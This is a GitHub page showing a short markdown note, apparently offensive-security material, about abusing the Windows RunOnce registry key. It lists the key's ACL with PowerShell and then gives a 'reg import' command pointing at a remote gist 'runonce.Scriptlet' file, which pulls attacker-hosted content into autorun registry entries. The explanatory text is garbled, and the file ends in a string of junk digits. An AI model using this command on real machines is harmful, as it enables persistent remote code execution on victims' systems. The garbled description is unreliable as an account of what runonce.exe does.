Skip to content

Latest commit

 

History

History
29 lines (21 loc) · 1.15 KB

Runonce.md

File metadata and controls

29 lines (21 loc) · 1.15 KB
Raw

Runonce.exe clear to the meaning its name,

runonce.exe is a program to service the customer of types the services like any tool for an installation or a setup, It's a custom to operate any kind an installable

PS C:\> Get-ACL -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" | Format-List


Path   : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Owner  : NT AUTHORITY\SYSTEM
Group  : NT AUTHORITY\SYSTEM
Access : BUILTIN\Users Allow  ReadKey
         BUILTIN\Administrators Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  FullControl
         CREATOR OWNER Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadKey
         null Allow  ReadKey
Audit  :
Sddl   : null



PS C:\>

At this point don't get away that you can import this registry file

C:> reg import https://gist.githubusercontent.com/homjxi0e/66555fedc78af49635b2e5dfea9dd1ae/raw/60b80e88c66fe58d2d906bb24f32925edd2fe025/runonce.Scriptlet

1231312312313123132131231321313